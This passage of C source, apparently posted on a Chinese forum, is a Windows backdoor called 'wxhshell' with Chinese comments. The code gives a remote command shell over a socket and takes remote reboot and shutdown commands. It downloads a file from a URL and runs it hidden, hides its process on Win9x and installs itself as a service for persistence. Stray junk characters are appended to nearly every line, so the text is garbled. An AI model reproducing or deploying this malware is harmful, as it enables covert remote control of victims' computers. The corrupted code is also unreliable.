  else { LKxyj@Eq  
zF(I#|Vo  
    switch(cmd[0]) { s9qr;}U.`  
  j; 1X-  
  // 帮助 kwZ 8q-0  
  case '?': { |>GtClL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Zdkf]Gh  
    break; >va#PFHA  
  } lW?}jzuo  
  // 安装 &iL"=\#  
  case 'i': { 3yDa5q{  
    if(Install()) [1dlV/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RMmDcvM"k  
    else # o)a`,f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Pby  d  
    break; pb}QP  
    } e!ar:>T  
  // 卸载 vz,l{0 v  
  case 'r': { .'p_j(uv  
    if(Uninstall()) +l2{EiQw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>4'YMdZi  
    else S!2M?}LU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *xM4nUu<~  
    break; yu<sd}@  
    } %ztCcgu*  
  // 显示 wxhshell 所在路径 JpD<2Mz_|V  
  case 'p': { _%;$y5]v  
    char svExeFile[MAX_PATH]; AlIFTNg:"  
    strcpy(svExeFile,"\n\r"); i=.zkIjSh  
      strcat(svExeFile,ExeFile); Cz+>S3v M  
        send(wsh,svExeFile,strlen(svExeFile),0); 7:R8QS9  
    break; yiSv#wD9  
    } eL#pS=  
  // 重启 vEvVT]g[V  
  case 'b': { t@>Uc`%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |OUr=b  
    if(Boot(REBOOT)) &$qqF&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QK% {\qu  
    else { 41^+T<+  
    closesocket(wsh); 7<mY{!2iF?  
    ExitThread(0); h:<p EL  
    } !BP/#  
    break; D^]7/w:$-  
    } Nqk*3Q"f  
  // 关机 -k|r#^(G2  
  case 'd': { k!>MZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tVvRT*>Wb  
    if(Boot(SHUTDOWN)) g599Lc&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vkOCyi?c  
    else { x}i:nLhL  
    closesocket(wsh); \&`S~cV9  
    ExitThread(0); H.hF`n  
    } >>Z.]  
    break; PR|F-/o  
    } fDNiU"  
  // 获取shell vtKQvQ  
  case 's': { `-"2(Gp  
    CmdShell(wsh); "Up3W%]SB  
    closesocket(wsh); /z>G= kA  
    ExitThread(0); ZC@ 33Q(  
    break; (2[tQ`~  
  } 1CU-^ j  
  // 退出 r;g[<6`!S  
  case 'x': { "6w-jT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vi?[yu<F  
    CloseIt(wsh); Cz-eiPlq  
    break; x?9rT 0D  
    } <3m_} =\  
  // 离开 M^AwOR7<  
  case 'q': { 3E$M{l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %(MaH  
    closesocket(wsh); 6.ASLH3#  
    WSACleanup(); casva;  
    exit(1); P B_ +:S^8  
    break; B<u6Z!Pp2  
        } *8M 0h9S$  
  } <kN4@bd;  
  } / Of*II&  
J70#pF  
  // 提示信息 (, /`*GC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CH[U.LJQ-O  
} =J&vr  
  } 'X d_8.  
Z,^`R] 9  
  return; ~,WG284  
} eRKuy l  
LuM:dJ  
// shell模块句柄 HQw98/-_W  
int CmdShell(SOCKET sock) _ [su?C  
{ }><Vc ouJ[  
STARTUPINFO si; Uoe;4ni  
ZeroMemory(&si,sizeof(si)); ?& qMC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9fj3q>Un,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7g8}]\i+  
PROCESS_INFORMATION ProcessInfo; +F.{:  
char cmdline[]="cmd"; VNBf2Va  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %nk]zf..  
  return 0; 1G$fU zS  
} ``$Dgj[  
E #q gt9  
// 自身启动模式 8[\F*H  
int StartFromService(void) Yj3j?.JJk  
{ /'k4NXnW3  
typedef struct [-5%[ty9X  
{ Sio^FOTD  
  DWORD ExitStatus; 0tyoH3o/d  
  DWORD PebBaseAddress; z SDRZ!  
  DWORD AffinityMask; v._Q XcE  
  DWORD BasePriority; \  {` `r  
  ULONG UniqueProcessId; G_vWwH4XtL  
  ULONG InheritedFromUniqueProcessId; Y"6 '  
}   PROCESS_BASIC_INFORMATION; 3 eT5~Lbs  
`2-6Qv  
PROCNTQSIP NtQueryInformationProcess; Yef=HSzo  
(k/[/`3ST  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U l8G R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #JMww  
 kDbDG,O  
  HANDLE             hProcess; m}ZkNWH  
  PROCESS_BASIC_INFORMATION pbi; E[q:65xl  
E-gI'qG\(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {w:*t)@j  
  if(NULL == hInst ) return 0; U4)x"s[CP  
:0@R(ct;>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /e5' YVP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cq:<,Ke  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WzG]9$v &  
omz%:'m`~  
  if (!NtQueryInformationProcess) return 0; j3>0oe!  
KYa}k0tVAp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q+@/.qJ  
  if(!hProcess) return 0; [A~n=m5H  
k{\wjaf)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DwSB(O#X  
DEJ0<pnQr  
  CloseHandle(hProcess); p[oR4 HWr  
<L'!EcHm%]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v~E\u  
if(hProcess==NULL) return 0; )S?.YCv?  
6d~[j <@2  
HMODULE hMod; N{+6V`\  
char procName[255]; :&SvjJR  
unsigned long cbNeeded; p G|-<6WY  
~EIK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z`g4<  
V /i~IG`h/  
  CloseHandle(hProcess); T:FaD V{  
)/4eT\=  
if(strstr(procName,"services")) return 1; // 以服务启动 a(.q=W  
&[ oW"Q{  
  return 0; // 注册表启动 1. A@5*Q  
} efzS]1Jpz  
hc7"0mVd{  
// 主模块 X%(1C,C(  
int StartWxhshell(LPSTR lpCmdLine) '`s\_Q)hG_  
{ ul(pp+%S  
  SOCKET wsl; 7`xeuK  
BOOL val=TRUE; Z4ekBdmCL  
  int port=0; (F=/r] Q  
  struct sockaddr_in door; A-"2sp*t  
VT ikLuH  
  if(wscfg.ws_autoins) Install(); ;]gj:6M  
+az=EF  
port=atoi(lpCmdLine); !AR@GuQPE  
vciO={M  
if(port<=0) port=wscfg.ws_port; d23;c )'  
.+3~ w  
  WSADATA data; =Jyi9VN=&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .)(5F45Wg  
(1%O;D.*?{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    N>V\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,zF^^,lO7  
  door.sin_family = AF_INET; Cx~,wk;=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZNfQM&<d  
  door.sin_port = htons(port); eewlK]  
'kuLkM,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o?,c#g  
closesocket(wsl); F TgqE@  
return 1; $sILCn  
} k'6x_ G  
x*'2%3C~  
  if(listen(wsl,2) == INVALID_SOCKET) { N1D{ %  
closesocket(wsl); !)r1zSY"g  
return 1; pNFVa<D  
} DhVO}g)2#  
  Wxhshell(wsl); 5,_DM  
  WSACleanup(); JnE\z*NB  
y.>1r7  
return 0; Z\[6 'R4.#  
P>}OwW  
} bU4l|i;j  
%ztv.K(8  
// 以NT服务方式启动 ]0o_- NI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TI5<' U)  
{ k,,Bf-?  
DWORD   status = 0; D[p_uDIz  
  DWORD   specificError = 0xfffffff; l=&\luNz  
ZrNBkfe :  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qV{iUtYt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g:oB j6$ q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b?U2g?lN:  
  serviceStatus.dwWin32ExitCode     = 0; [iXkv\  
  serviceStatus.dwServiceSpecificExitCode = 0; 61SbBJ6[  
  serviceStatus.dwCheckPoint       = 0; 9P1!<6mN\  
  serviceStatus.dwWaitHint       = 0; <D`VFSEJ  
a&z$4!wQB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .;J6)h  
  if (hServiceStatusHandle==0) return; aN5"[&  
oUd R,;h9  
status = GetLastError(); )BeB xo7lv  
  if (status!=NO_ERROR) -|DBO0q  
{ 7lUnqX.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MA,7 |s  
    serviceStatus.dwCheckPoint       = 0; ()MUyW"S#`  
    serviceStatus.dwWaitHint       = 0; bHRRgR`,  
    serviceStatus.dwWin32ExitCode     = status; [QDM_n  
    serviceStatus.dwServiceSpecificExitCode = specificError; a{ p1Yy-]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Lm0$o*`  
    return; o_C]O"  
  }  9dCf@5]  
b"JX6efnN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2cQG2N2*  
  serviceStatus.dwCheckPoint       = 0; jPIOBEIG  
  serviceStatus.dwWaitHint       = 0; GZ1c~uAu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &{e:6t  
} PfN[)s4F{R  
':d9FzGKa  
// 处理NT服务事件,比如:启动、停止 3f-J%!aH  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  myOdf'=  
{ ;q33t% j  
switch(fdwControl) Sa9p#OQ  
{ kInU,/R*  
case SERVICE_CONTROL_STOP: kXN8hU}iq  
  serviceStatus.dwWin32ExitCode = 0; R ~?9+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yvCX is  
  serviceStatus.dwCheckPoint   = 0; w 6  
  serviceStatus.dwWaitHint     = 0; dZkj|Ua~  
  { P`L, eYc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ePo :::  
  } LV8{c!"  
  return; X:JU#sI  
case SERVICE_CONTROL_PAUSE: rVM?[_'O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !j%#7  
  break; 'FM_5`&  
case SERVICE_CONTROL_CONTINUE: !B/5@P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MLvd6tIv,  
  break; kYZj^tR  
case SERVICE_CONTROL_INTERROGATE: CHckmCgf4  
  break; 9P& \2/ {  
}; 63SmQsv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !BDJU  
} R*O<(  
PUEEfq!%  
// 标准应用程序主函数 4Z0Y8y8)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B-oQjr-  
{ 3Ct)5J  
06NW2A%wv  
// 获取操作系统版本 si1Szmx,  
OsIsNt=GetOsVer(); PouWRGS_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2gJkpf9JN  
c7@[RG !  
  // 从命令行安装 Y' O3RA5E  
  if(strpbrk(lpCmdLine,"iI")) Install(); B8 r#o=q1  
*?~&O.R"  
  // 下载执行文件 ]--" K{  
if(wscfg.ws_downexe) { TFO4jjiC"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ! i8'gq'q  
  WinExec(wscfg.ws_filenam,SW_HIDE); &?*H`5#?G  
} i#I7ncX  
hQ}y(2A.XI  
if(!OsIsNt) { J\E?rT  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^wD@)Dz  
HideProc(); RG6U~o1  
StartWxhshell(lpCmdLine); M.K%;j`  
} ;Dp<|n  
else ]p*Fq^  
  if(StartFromService()) 8Z>=sUMQ  
  // 以服务方式启动 "b[w%KYyl  
  StartServiceCtrlDispatcher(DispatchTable); F.iJz4ya_  
else @DuSii#.S  
  // 普通方式启动 4Un%p7Y~  
  StartWxhshell(lpCmdLine); ;3&HZq6Z (  
Gj&`+!\  
return 0; S\0?~l"}  
}
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只看该作者 1 发表于: 2006-10-10
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